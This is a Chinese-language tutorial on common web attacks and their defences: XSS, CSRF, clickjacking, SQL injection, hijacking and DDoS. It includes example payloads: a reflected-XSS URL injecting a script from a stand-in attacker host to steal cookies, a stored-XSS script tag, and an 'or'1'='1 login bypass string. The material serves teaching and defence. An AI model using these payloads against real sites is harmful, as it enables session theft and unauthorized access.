目录
- XSS(Cross Site Scripting)攻击
- 攻击方式
- 反射型 - URL参数注入
- 存储型 - 存储DB后读取注入
- 攻击危害
- 防御手段
- 转义
- CSP (Content Security Policy)
- cookie HttpOnly
- 攻击方式
- CSRF攻击
- 攻击原理
- 攻击危害
- 防御手段
- 禁止第三方网站携带cookie
- Referer Check
- 验证码
- 点击劫持 - clickjacking
- 防御手段
- X-FRAME-OPTIONS
- JS方式
- 防御手段
- SQL注入
- 请求劫持
- DNS劫持
- http劫持
- 运营商劫持
- DDOS
XSS攻击
XSS(Cross Site Scripting),跨站脚本攻击是指通过
存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击。
攻击危害
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片
XSS攻击的危害 - Scripting能干啥就能干啥
- 获取页面数据
- 获取Cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意数据
- 偷取用户的资料
- 偷取用户的秘密和登录态
- 欺骗用户
攻击方式
- 非持久型XSS —— 反射型,url参数直接注入
这种攻击方式需要攻击者必须要通过用户点击链接才能发起,攻击者通过在链接的URL中注入可执行的恶意脚本,当 URL 地址被打开时,特有的恶意代码参数被 HTML 解析、执行。如:
// 普通
http://www.xxxa.com/?from=china
// 注入黑客网址,达到恶意行为
http://www.xxxa.com/?from=<script src="http://www.xxxb.com/hack.js"></script>
黑客网站http://www.xxxb.com/hack.js 可以通过短域名掩饰 https://dwz.cn,会窃取用户的登录信息,document.cookie等
- 持久型 XSS —— 存储型,存储到DB后读取时注入
一般存在于 Form 表单提交等交互功能,如文章留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行,这种攻击有连环效应。
// 评论
<script>alert(1)</script>
// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
防御手段
- X-XSS-Protection
ctx.set('X-XSS-Protection', 1)
一般浏览器默认是启用XSS过滤的,但是对URL伪装一下就不行了。
- 转义字符
用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义。但是对于网站中需要正常显示的富文本,这种暴力的做法行不通,于是可以采用白名单过滤,如:
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
console.log(html)
转义后的结果,将h1
保留,script
进行了转义。
<h1>XSS Demo</h1><script>alert("xss");</script>
- HttpOnly Cookie
这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其属性设为
HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
- CSP(Content Security Policy)
内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS)和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。
CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击
- 设置 HTTP HEAD
ctx.set('Content-Security-Policy', "default-src 'self'")
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
CSRF攻击
CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,它利用用户已登录的身份,
在用户毫不知情的情况下,以用户的名义完成非法操作。
攻击原理
- 用户已经登录了站点 A,并在本地记录了 cookie
- 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B
- A访问B站点 (B 站点访问站点A,发出了一个request请求,此时A毫不知情)。此请求就是B站点伪造A发出的。
- 站点 A 没有做任何 CSRF 防御
要点:
(1)用户处于登录态
(2) 用户点击引诱网址
攻击危害
- 利用用户登录态
- 用户不知情
- 完成业务请求
- 盗取用户资金(转账,消费)
- 冒充用户发帖背锅
- 损害网站声誉
防御手段
- 禁止第三方网站带Cookie - 有兼容性问题
- Referer Check - Https不发送referer
- 验证码
点击劫持 - clickjacking
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,
并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。
防御手段
- X-FRAME-OPTIONS
X-FRAME-OPTIONS是一个HTTP响应头,就是为了防御用 iframe嵌套的点击劫持攻击。
该响应头有三个值可选:
- DENY,表示页面不允许通过 iframe 的方式展示
- SAMEORIGIN,表示页面可以在相同域名下通过 iframe 的方式展示
- ALLOW-FROM,表示页面可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
- 通过js的方式,若尝试通过 iframe 的方式加载页面,攻击者的网页直接不显示所有内容了
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
SQL注入
// 在登录表单中填入特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御手段
- 不要直接拼接 SQL,语句查询建议使用数据库提供的参数化查询接口
- 严格限制Web应用的数据库的操作权限
- 对进入数据库的特殊字符(’,",\,<,>,&,*,; 等)进行转义处理,或编码转换
请求劫持
- DNS劫持 ,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
- http劫持,运营商劫持,此时只能升级HTTPS了
DDOS
DDOS (distributed denial of service)分布式拒绝服务攻击
常见攻击方式
- SYN Flood
此攻击通过向目标发送具有欺骗性源IP地址的大量TCP“初始连接请求”SYN数据包来利用TCP握手。目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源。
- HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服
务。
防御手段
- 备份网站
备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网站出了问题,正在全力抢修。 - HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker硬件 服务器 防火墙
- 带宽扩容 + CDN 提高犯罪成本
参考文章: